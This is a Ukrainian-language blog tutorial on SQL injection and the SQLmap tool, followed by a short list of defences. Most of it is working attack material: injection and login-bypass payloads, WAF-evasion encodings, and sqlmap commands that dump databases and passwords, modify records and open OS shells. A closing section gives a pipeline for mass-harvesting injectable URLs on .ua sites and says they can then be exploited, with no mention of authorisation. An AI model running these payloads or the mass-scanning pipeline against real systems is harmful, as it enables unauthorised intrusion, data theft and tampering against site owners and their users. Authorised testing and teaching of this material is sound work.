SQLmap guide

SQL-ін’єкції та експлуатація вразливостей MySQL. Пентестинг з SQLmap.

SQL-ін’єкції є одними з найрозповсюдженіших кіберзагроз, від яких потерпають електронні ресурси. На неї повинні звертати серйозну увагу як пентестери, так і вебмайстри. У цьому керівництві зосередимося на пошуку та експлуатації вразливостей баз даних на базі MySQL. Розберемо, що таке SQL-ін’єкції та навчимось тестувати їх з допомогою SQLmap.

Принципи розуміння SQL-ін’єкцій

Що таке база даних SQL?

База даних – це організована структура даних, яка зберігається і управляється за допомогою спеціального програмного забезпечення, відомого як система управління базами даних (СУБД). Вона призначена для зручного зберігання, пошуку, оновлення та аналізу інформації. Також розрізняють реляційні (структуровані, SQL) і нереляційні (неструктуровані, NoSQL) бази даних. До реляційних відносяться: MySQL/MariaDB, PostgeSQL, MongoDB, SQLite, Microsoft SQL Server. Веб-додатки найчастіше використовуть СУБД MySQL.

SQL – це структурована мова (Structured Query Language) для управління реляційними базами даних.

Кожна база даних має таку структуру:

  • Таблиці (tables)
    • Рядки (rows)
    • Колонки (columns)
    • Комірки (cells)

Приклад таблиці бази даних:

Ім’я (Name) Прізвище (Surname) Клас (Class) Вік (Age)
Олексій Іваненко 5-А 10
Марія Петрова 6-Б 11
  • Колонки: Ім’я, Прізвище, Клас, Вік
  • Рядки: (Олексій, Іваненко, 5-А, 10), (Марія, Петрова, 6-Б, 11)
  • Комірки: “Олексій”, “Іваненко”, “5-А”, “10”, “Марія”, “Петрова”, “6-Б”, “11”

Основні команди SQL

  • SELECT – команда обрати;
  • INSERT – команда вставити нові значення в таблицю;
  • UNION – об’єднує різні команди;
  • UPDATE – оновити існуючі значення в таблиці;
  • DELETE – команда видалити.

SQL-запит SELECT * FROM users WHERE username = 'Vasyl' AND password = 'qwerty'; обере з поточної бази даних, таблиці users, користувача з вказаними ім’ям та паролем (якщо існує).

👉 Читайте також матеріал: Команди MySQL в консолі Linux

Типи і види SQL-ін’єкцій

SQL-ін’єкція – це відправка SQL-запитів на сервер з метою обійти існуючий захист цільової системи та викрасти дані або здійснити несанкціоновані дії, наприклад внести зміни в базу даних.

Розрізняють наступні типи SQL-ін’єкцій:

  1. In-Band SQL Injection – ця техніка вважається найбільш поширеним і простим видом SQL-ін’єкцій. У цій техніці зловмисник використовує один і той же канал зв’язку як для ін’єкції, так і для отримання даних. Існують два основних типи In-Band SQL-ін’єкцій.
    1. Error-based SQL Injection: У вразливий параметр у HTTP-запиті передаються невалідні SQL-вирази. Інструмент потім відстежує HTTP-відповіді на наявність повідомлень про помилки, які розкривають. Приклад:
      SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version))
    2. Union-based SQL Injection: SQL-ін’єкція на основі запиту UNION, використовується для маніпуляції даними через передачу результатів запиту SELECT через визначений цикл або рядок інструкцій, що виводять дані на вміст сторінки веб-додатку. У випадку, якщо результати не проходять через цикл for або інші оператори, SQLMap використовує одноразову ін’єкцію через UNION. Приклад:
      SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admin
  2. Out-Of-Band SQL Injection – використовується, коли зловмисник не може застосувати той самий канал для запуску атаки та збору результатів, або коли відповіді сервера нестабільні. Ця техніка ґрунтується на тому, що сервер бази даних робить позасмуговий запит (наприклад, HTTP або DNS) для надсилання результату запиту зловмиснику.
  3. Inferential (Blind) SQL Injection – SQL-ін’єкція даного типу не передає дані безпосередньо через веб-додаток, що робить експлуатацію більш складною. Зловмисник надсилає корисне навантаження та спостерігає за поведінкою додатку і часом реакції, щоб отримати інформацію про базу даних. Тому її називають ще “сліпою ін’єкцією”. Налічують два її основних типи:
    1. Boolean-based Blind SQL Injection: У вразливий параметр у HTTP-запиті передаються кілька валідних виразів, які оцінюються як істинні або хибні. Порівнюючи сторінки відповідей для обох умов, можна визначити, чи була ін’єкція успішною. Приклад:
      SELECT * FROM users WHERE id = 1 AND 1=1 (true condition) versus SELECT * FROM users WHERE id = 1 AND 1=2 (false condition)
    2. Time-based Blind SQL Injection: У вразливий параметр у HTTP-запиті передаються валідні SQL-вирази, які змушують базу даних зупинятися на певний період часу. Порівнюючи часи відгуку між звичайними запитами та ін’єктованими запитами з різним часом затримки, можна визначити, чи було виконання SQL-виразу успішним. Приклад:
      SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '00:00:05'--
  4. Stacked Query SQL Injection: SQLMap використовує цей тип ін’єкції, додаючи крапку з комою (;) до значення вразливого параметра і додаючи SQL-інструкцію, яка має бути виконана. Це дозволяє виконувати SQL-вирази, відмінні від SELECT, що є корисним для отримання доступу на читання і запис, а також для захоплення контролю над операційною системою.

Принцип дії SQL-ін'єкцій

Приклад експлуатації SQL-ін’єкції

Допустимо маємо веб-сайт з публічнодоступною формою авторизації, вразливою до SQL-ін’єкцій. Є два стандартних поля для введення облікових даних:

  • Username
  • Password

Хакер попередньо вже знає ім’я користувача, у полі Username вводить – Vasyl, а в поле пароль SQL-ін’єкцію: abc' OR 1=1;-- -

В результаті, виконається запит MySQL: SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';

База даних перевірить наявність користувача і якщо знайде, то застосує до нього вказаний пароль “abc”, а якщо він буде невірний, то згідно умови “OR 1=1” все одно успішно виконає запит й хакер увійде в обліковий запис користувача Vasyl, обійшовши таким чином механізм аутентифікації. Схожа вразливість була колись зафіксована в ранніх версіях CMS Joomla.

ЧИТАЙТЕ ТАКОЖ:  Проксі-сервіси та інструменти для фахівців з кібербезпеки

Методи обходу фільтрів WAF

Якщо зайт захищений WAF або іншою системою безпеки (напр., брандмауери, IDS/IPS/NGFW-системи, Apache modSecurity), то запит може не виконатись і буде заблокований. В такому випадку для успішної експлуатації застосовуютьcя способи кодування і обходу (WAF Bypass):

  • Кодування URL. Наприклад, вираз ' OR 1=1 можна закодувати як %27%20OR%201%3D1--
  • 16-надцяткове кодування. У цьому випадку використовуються шістандцяткові значення, які декодуються базою даних. Наприклад, Наприклад, запит SELECT * FROM users WHERE name = 'admin' може бути закодовано як SELECT * FROM users WHERE name = 0x61646d696e.
  • Кодування Unicode. Наприклад, рядок admin може бути закодовано як \u0061\u0064\u006d\u0069\u006e. Цей метод може бути ефективним, якщо цільова система перевіряє лише певні символи ASCII.
  • Використання SQL-коментарів. Наприклад, замість SELECT * FROM users WHERE name = 'admin', можна використати SELECT/**//*FROM/**/users/**/WHERE/**/name/**/='admin'. Коментарі SQL /**/ можуть замінювати пробіли в запиті, дозволяючи набору корисних даних обходити фільтри, які видаляють або блокують пробіли.
  • Використання функції CONCAT(). Хакери можуть використовувати функції SQL, такі як CONCAT() для побудови рядків без лапок. Наприклад CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e) конструює рядок admin.
  • Альтернативні символи. Одним з ефективних методів є використання альтернативних символів у кодуванні URL, які представляють різні типи пробільних символів, такі як %09 (горизонтальна вкладка), %0A (подача рядка), %0C (форма подання), %0D (повернення каретки) та %A0 (нерозривний пробіл). Ці символи можуть замінити пробіли в корисному навантаженні.
  • Зміна регістру. Наприклад, замість SELECT використати SElEcT.
  • Альтернативні логічні  оператори. Наприлкда, AND і OR можуть бути заборонені. В такому випадку можна скористатися символами & та I.

Як і де шукати вразливості SQL на веб-сайті?

Необхідно ретельно просканувати електронний ресурс, провести аудит, проаналізувати його структуру, переглянути усі можливі файли, директорії, URL-адреси (фаззінг).

Вразливими до SQL-ін’єкцій можуть бути:

  • GET/POST-запити
  • HTTP-заголовки (наприклад, User-Agent, Referer або X-Forwarded-For для впровадження команд SQL)
  • лістинги сторінок, сторінки пошуку з фільтрами і URL-параметрами
  • форми відправки даних
  • сторінки з ідентифікаторами, наприклад: /?id=
  • сторінки категорій, наприклад: /search/cat=1
  • сторінки авторизації
  • сторінки зі службовими повідомленнями про помилки
  • разноманітні API-інтеграції

Можна поєднувати ручне і автоматичне сканування. Популярні інструменти для виявлення точок компрометації: Burp Suite, OWASP ZAP, Acunetix, Dirb, FFUF, WPScan, Nekto, Nessus, ImmuniWeb тощо.

👉 Також можна скористатися запитами Google Dorks >>

Як тільки ви отримали точку входу, можна переходити в SQLmap для автоматизації експлуатації SQL-ін’єкцій.

Що таке SQLmap?

SQLmap – це безкоштовний автоматизований інструмент командного рядка Linux для виявлення вразливостей та експлуатації SQL-ін’єкцій у веб-додатках. Розроблений у 2006 році італійцем Даніелем Белуччі на мові Python. Підтримується італійцем Берндардом Дамеле та хорватом Мирославом Штампаром. Розповсюджується безкоштовно за ліцензією GPLv2. SQLmap входить в ТОП-10 найпотужніших хакерських інструментів всіх часів. Детальніше про історію проєкта тут.

Основні переваги та відмінності SQLmap:

  • Повністю автоматизований процес пошуку і експлуатації SQL-ін’єкцій.
  • Підтримка різноманітних SQL методів, технік виразів: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, out-of-band.
  • Можливість використовувати у зв’язці з проксі Burp Suite та Metasploit (через сесію Meterpreter), а також іншими додатками.
  • Розпізнає HTTP GET/POST запити з txt-файлу.
  • Вбудований брутфорсер хешів MD5.
  • Можливість формування дампу бази даних.
  • Підтримка різноманітних варіантів експлуатації, включаючи OS Shell, SQL Shell.
  • Розуміння синтаксису MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Firebird, Sybase, SAP MaxDB, HSQLDB.

Альтернативи SQLmap

Крім SQLmap існують також інші інструменти для експлуатації SQL-вразливостей, наприклад:

  • SQLninja – інструменти для роботи з серверами Microsoft SQL.
  • jSQL Injection – інструмент для роботи з Java-додатками.
  • BBQSQL – фреймворк для експлуатації сліпих SQL-ін’єкцій.

Як встановити SQLmap в Linux?

Встановити SQLmap можна декількома шляхами:

Запускати SQLmap рекомендую з віртуальної машини або VPS-сервера. В дистрибутиві Kali Linux SQLmap вже встановлений по замовчуванню.

Приклади роботи з SQLmap

Приклади команд SQLmap:

  • sqlmap -u 'http://example.com/links.php?extension=menu&view=menu&parent=343434' -p parent — протестувати на SQL-вразливість за вказаним URL-посиланням та вказаним параметром (ключ p);
  • sqlmap -u "https://example.com/ru/index.php?route=product/product&product_id=1000*" --batch – протестувати на SQL-вразливість в автоматичному режимі з позначкою “*”, куди має вставлятись ін’єкція;
  • sqlmap -u 'http://example.com/links.php?extension=menu&view=menu&parent=343434' -p parent --dbs --batch --level=5 --risk=3 --random-agent — протестувати на SQL-вразливість до ін’єкції сайт за вказаним URL-посиланням та вказаним параметром, в автоматичному режимі batch, з найвищим рівнем деталізованості level (від 1 до 5) та найвищим рівнем критичності risk (від 1 до 3), випадковим User-Agent браузера для кожного запиту, а також отримати тип і назву бази даних dbs, якщо виявиться, що сайт вразливий;
  • sqlmap -u 'http://example.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename --tables --random-agent -o — переглянути всі таблиці вказаної бази даних, використавши випадковий User-Agent та оптимізацію o;
  • sqlmap -u 'http://example.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable --columns --random-agent -o — переглянути вказану таблицю з усіма колонками за заданою базою даних, застосувавши оптимізацію і рандомний браузер;
  • sqlmap -u 'http://example.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable --dump --random-agent -o — зробити дамп вказаної таблиці бази даних і зберегти в файлі CSV;
  • sqlmap -u 'http://example.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename -T databasetable -С columnname1,columnname2,columnname3 --dump --random-agent -o — зробити дамп вказаної таблиці бази даних зазначених колонок.
  • sqlmap -u 'http://example.com/links.php?extension=menu&view=menu&parent=343434' -p parent -D databasename --dump-all --random-agent -o dump_file.sql — зробити повний дамп усієї бази даних і зберегти в файлі SQL;
  • sqlmap -r /path/to/postsqli.txt -p param --dbms mysql --sql-query="UPDATE db_tablename SET email='new@email.com' WHERE email='old@email.com';" --random-agent -o — змінити дані у вказаній таблиці бази даних, замінивши одне значення на інше у колонці;
  • sqlmap -u "https://example.com/login" --data "username=&password=" --method POST --regexp "Invalid password" --dump — експлуатація форми входу на SQL-ін’єкцію через вказані параметри POST-запиту;
  • sqlmap -u "http://XXX.XXX.XXX.X/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=ipcund5314149g188pfhb3pff1; security_level=0" -p title — проексплуатувати вказаний URL з параметром tile, використавши зазначені кукі;
  • sqlmap -u "http://example.com/links.php?extension=menu&view=menu&parent=343434" -p parent --random-agent -f --banner --current-user --passwords --tables --exclude-sysdbs — провести fingerprinting бази даних, отримати ім’я користувача, отримати назву і версію бази даних, назви всіх таблиць, ігноруючи системі sysdbs;
  • sqlmap -u "http://example.com/links.php?extension=menu&view=menu&parent=343434" -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246' — протестувати вказаний URL із застосуванням HTTP-заголовка, у даному випадку User-Agent;
  • sqlmap -u "https://exameple.com" --dbs --level=5 --risk=3 --user-agent -v3 --tamper="between,randomcase,space2comment" --batch --dump — обхід WAF;
  • sqlmap -u "https://example.com/view.php?id=2325&redirect=1" --level=3 --risk=2 --ignore-code=404 -p id --batch — ігнорувати код відповіді 404;
  • sqlmap -u "https://example.com/view.php?id=2325&redirect=1" --level=3 --risk=2 --force-redirect --batch — слідувати редиректам;
  • sqlmap -u "https://example.com/index.php?id=21" --dbs --batch -p id --random-agent
    --tamper=between,space2comment --dbms mysql --tech=B --no-cast
    --flush-session --threads 10
    – обхід WAF із застосуванням tamper-скриптів.
  • sqlmap -u "http://example.com/uk/pages.php?lang=uk&id=1" --batch -p id --sql-query="SELECT CURRENT_USER()" – визначення поточного користувача через SQL-запит.
ЧИТАЙТЕ ТАКОЖ:  Історія зародження інтернету: від ARPANET до AltaVista

Ключі запуску:

  • --level= – рівень інтенсивності, деталізованості сканування (від 1 до 5);
  • --risk= – рівень критичності сканування (від 1 до 3);
  • --batch – автоматий режим, автоматично обробляє діалоги “Y/n”;
  • --technique= – тип техніки експлуатації SQLi: B – Blind SQL; E – Error-Based; U – Union-Based; S – Stacked queries; T – Time-Based; Q – Inline Queries.
  • -o – оптимізація;
  • --wizard – інтерактивний майстер запуску сканування;
  • --help – довідка;
  • --url=URL –  задати цільовий URL;
  • --random-agent – використовувати випадковий User-Agent;
  • -p PARAMETER – використання конкретного параметру URL;
  • --all – використовувати усі опції тестування;
  • --banner – захопити баннер сервера;
  • --os-shell — доступ до інтерактивного командного рядка;
  • --os-pwn – запит на використання оболонки OOB, Meterpreter або VNC;
  • --os-cmd=OSCMD – виконати команду в операційній системі;
  • --sql-shell — доступ до оболонки комадного рядка MySQL;
  • --priv-esc – експлуатація підвищення привілеїв користувача;
  • --os-smbrelay – on-click запит до оболонки OOB, Meterpreter або VNC;
  • --dbs – виконати енумерацію баз даних;
  • --tables – енумерація таблиць бази даних;
  • --columns – енумерація колонок бази даних;
  • --schema – енумерація DBMS-схеми;
  • --current-user — отримання імені поточного користувача бази даних;
  • --current-db – отримати поточну базу даних;
  • --is-dba — перевірка прав, чи є поточний користувач адміністратором бази даних;
  • -D DATABASE – енумерація конкретної бази даних;
  • -T TABLE – енумерація таблиці бази даних;
  • -С COLUMN – енумерація колонки бази даних;
  • --passwords – провести енумерацію паролів користувачів поточної бази даних;
  • --dump – зробити дамп таблиць бази даних;
  • --dump-all – зробити повний дамп бази даних;
  • --tamper — використовується для вказування скриптів маніпулювання (tamper scripts), які можуть змінювати payload для обходу різних систем захисту, таких як Web Application Firewall (WAF);
  • --cookie="name=value" — передача cookie для аутентифікації;
  • --tor — підключення через TOR;
  • --tor-type — вказує тип проксі для використання Tor. За замовчуванням, це SOCKS5, але ви також можете використовувати HTTP;
  • --check-tor — перевіряє чи працює TOR як проксі;
  • --fresh-queries — ігнорувати кешовані запити попередніх результатів;
  • --flush-session — очищення всіх даних сесії для цілі;
  • --count — підрахунок кількості записів у базі даних;
  • -v 1 — рівень деталізації виводу (від 1 до 5);
  • --dbms mysql — попередньо вказати тип бази даних для експлуатації;
  • --threads=10 — кількість паралельних потоків для сканування (від 1 до 10);
  • --replicate — повторно застосовувати вже знайдені раніше вразливості;
  • --referer="https://example.com" — вказати HTTP-заголовок referer;
  • --delay=3 — затримка в секундах між кожним запитом;
  • --timeout=30 — час очікування відповіді в секундах;
  • --retries=2 – кількість повторів (від 1 до 3);
  • --force-ssl — примусове використання SSL/TLS (HTTPS) протоколу, допомагає уникнути проблем з SSL;
  • --csrf-token="token"  — вказати CSRF токен;
  • --proxy="http://127.0.0.1:8080" — вказати проксі-сервер;
  • --data="data" — рядок з даними, які треба відправити через POST-запит;
  • --no-cast – застосовується при проблемах кодування;
  • --hex — використовується для перетворення (конвертації) даних в шістнадцятковий формат (hexadecimal), це може допомогти уникнути проблем з кодуванням або фільтрацією даних на рівні бази даних або веб-додатку;
  • --mobile — використати User-Agent мобільного пристрою;
  • --forms – автоматично знаходить і тестує усі форми на заданій сторінці;
  • --crawl=1 – запускає краулінг цільового ресурсу з глибиною від 1 до 3.

👉 Повний список ключів з описом знайдете тут >>

Директорія збереження логів по-замовчуванню: /home/<user>/.local/share/sqlmap/output/

SQLmap scheme
Експлуатація SQLi в SQLmap. Алгоритм роботи.

Чим небезпечні SQL ін’єкції та як від них захиститися?

Атаки з використання SQL-ін’єкцій можуть завдати суттєвої шкоди, до прикладу:

  • Злив бази даних. Проведення успішної SQL-ін’єкції в 90% приводить до несанкціонованого доступу до бази даних, а відтак до її вивантаження, тобто дампу та компрометації усього сайту. За таких обставин, вас чекає публічний витік усієї інформації, яка міститься в базі: облікові записи користувачів (включно з паролями), номери телефонів, адреси електронної пошти, а нерідко й номери карток, їх терміни дії та інші супутні відомості. Зловмисники часто продають злиті бази даних на форумах в даркнеті.
  • Дефейс сайту. Через SQL-ін’єкцію зловмисники отримують несанкціонований доступ до бази даних, що дозволяє їм вносити будь-які візуальні зміни на сайті (англ. deface). Наприклад, може бути змінений контент, додані нові зображення або інші елементи.
  • Вірус-редирект. Через злам бази даних, зловмисники зможуть вносити змін у вихідний код сайту й встановити шкідливий скрипт, який буде перенаправляти користувачів на сторонні токсичні ресурси.
  • DDoS-атака. SQL-ін’єкція може бути використана для створення запитів, які витрачають надмірну кількість ресурсів сервера. Наприклад, зловмисник може ввести таку ін’єкцію, що викличе складний, ресурсомісткий запит до бази даних та подальшу відмову в обслуговуванні збоку сервера.
  • Читання системних файлів. SQL-ін’єкція може призвести до зчитування системних файлів, якщо база даних має відповідні вразливості або некоректно налаштована.
  • Підвищення привілеїв. Не рідко SQL-ін’єкція може привести до отримання доступу до функцій або облікових записів з правами адміністратора. Це може дати зловмиснику контроль над всією системою або навіть над сервером, на якому розміщена база даних.
  • Віддалене виконання коду (RCE). Деякі SQL-ін’єкції за певним умов можуть призвести до запуску shell’а, а отже, й віддаленого контролю над сервером.
ЧИТАЙТЕ ТАКОЖ:  Як напряму завантажувати відео з Youtube в Linux?

Як захистити електронні ресурси від SQL-ін’єкцій?

  1. Встановити WAF (Web Application Firewall) для зовнішнього захисту веб-додатків. Наприклад, Cloudflare – виставити на середній або максимальний рівень безпеки HTTP-запитів.
  2. Встановити на сервері фаєрволи CSF/IPtables з відповідними правилами блокування підозрілого трафіку.
  3. Встановити коректні права доступу на всі файли і директорії. Обмежити доступ до службових файлів та будь-яких конфіденційних даних.
  4. Дотримуватися правил безпечного кодування. Не використовувати застарілі методи і бібліотеки. Проводити аудит безпеки вихідного коду.
  5. Не застосовувати застарілі версії програмного забезпечення. Проводити аудит безпеки програмного забезпечення.
  6. Провести комплексну конфігурацію MySQL і PHP, а також інших компонентів. Перевіряти логіку SQL. Відлагоджувати помилки.
  7. Вимкнути публічний вивід помилок на сайті. Часто, ці помилки містять повний шлях розташування серверних файлів та папок, що може вказати зловмиснику на вразливість або вектор атаки.
  8. Застосовувати санітизацію (очищення) вхідних запитів і валідацію веб-коду, який виконується або додається на сайт.
  9. Завжди використовувати правило нульової довіри та принцип найменших привілеїв аби уникнути будь-яких несанкціонованих запитів.
  10. Хешувати паролі користувачів, які зберігаються в базі даних. Наприклад, в Bcrypt.
  11. Уникати динамічних запитів URL з численними параметрами. Проводити регулярну перевірку з допомогою автоматизованих засобів, таких як калібратор MySQLtuner та SQLmap.

Бонус: Масовий пошук SQL-ін’єкцій в інтернеті

1) Парсимо пошукову видачу Гугл – ТОП10-ТОП100.

Це можна зробити вручну або автоматизованими способами (SEO-парсери пошукової видачі). В обох випадках використовуються оператори Google Dorks.

Приклад дорків для парсингу URL з SQL-injection:

  • site:*.ua inurl:".php?id="
  • site:*.ua inurl:"pageid="
  • site:*.ua inurl:"product_id="
  • site:*.ua inurl:index.php?id=
  • site:*.ua inurl:pages.php?id=
  • site:*.ua inurl:detail.php?ID=

2) Отримуємо список спарсених урлів. Видобуваємо з нього лише домени, підчищаємо і сортуємо їх:

cat list.txt | awk -F/ '{gsub(/^www\./, "", $3); print $3}' | sort -u > list_new.txt

3) Використовуємо Waybackurls (WebArchive) у поєднанні з gf-шаблонами і uro (чистка), щоби знайти URL-адреси з параметрами SQLi:

cat list_new.txt | waybackurls | gf sqli | uro > new.txt

(якщо багато доменів, процес може бути довготривалим)

4) Підчищаємо урли від портів “:80” і “:443” (якщо є такі), а також прибираємо дублі з допомогою sort:

cat new.txt | awk '{gsub(/:80(\/|$)/, "", $0); gsub(/:443(\/|$)/, "", $0); print}' | sort -u > new_cleaned.txt

5) Підчищаємо список від “битих” (мертвих) урл:

cat new_cleaned.txt | httpx -timeout 10 -silent -mc 200,403,500,503 -o alive_urls.txt (рекомендовано)

або

cat new_cleaned.txt | httpx -timeout 10 -status-code -silent -no-color | awk '! /404/ && ! /301/ && ! /302/ {print $1}' > valid_urls.txt

Фактично вже на цьому етапі можна працювати з кожним URL окремо і експлуатувати їх.

6) Додатково рекомендую зробити поверхневу перевірку урлів на SQLi з допомогою DAST-сканера вразливостей Nuclei:

  • nuclei -l alive_urls.txt -t ~/nuclei-templates/dast/vulnerabilities/sqli/sqli-error-based.yaml -dast
  • nuclei -l alive_urls.txt -t ~/nuclei-templates/dast/vulnerabilities/sqli/time-based-sqli.yaml -dast

(Інші шаблони Nuclei: тут, тут, тут)

Точкова робота з субдоменами:

  • subfinder -d example.com -all -silent | httpx -silent | grep -Ei 'asp|php|jsp|jspx|aspx'
  • subfinder -dL subdomains.txt -all -silent | httpx -silent | grep -Ei 'asp|php|jsp|jspx|aspx'

Точкова робота з конкретними веб-сайтами:

  • echo https://example.com | gau | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" | grep "=" >urls.txt
  • echo https://example.com | katana -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -f qurl | uro | grep -E ".php|.asp|.aspx|.jspx|.jsp" >urls.txt

👉 Читайте детальніше про методологію пошуку вразливих URL >>

Nuclei templates SQLi
Масова перевірка на SQLi з допомогою DAST-сканера Nuclei

Додаткові джерела і посилання

  1. Wiki SQLmap
  2. HackTricks. SQLmap Cheatsheet
  3. Exploit Notes. SQL injection with SQLmap
  4. Tib3rius. SQL Injection Cheatsheet
  5. Medium. Infosecwriteups. SQL Injection Methodology
  6. The Cybersecurity Man. A Bug Bounty Tester’s Guide to Detecting SQL Injection Vulnerabilities
  7. Stack Exchange. How do I test for SQL injection vulnerabilities on a site with input fields?

Автор: © Konrad Ravenstone, KR. Laboratories Research

Konrad Ravenstone// про автора

Кібермольфар, хакер, лінуксоїд, дослідник безпеки в KR. Labs Research

Сподобалася стаття? Поділитися в соцмережах:
KR. Labs Research
Рекомендоване:
Продовжую цикл матеріалів про інструменти мережевої розвідки в Linux. Сьогодні…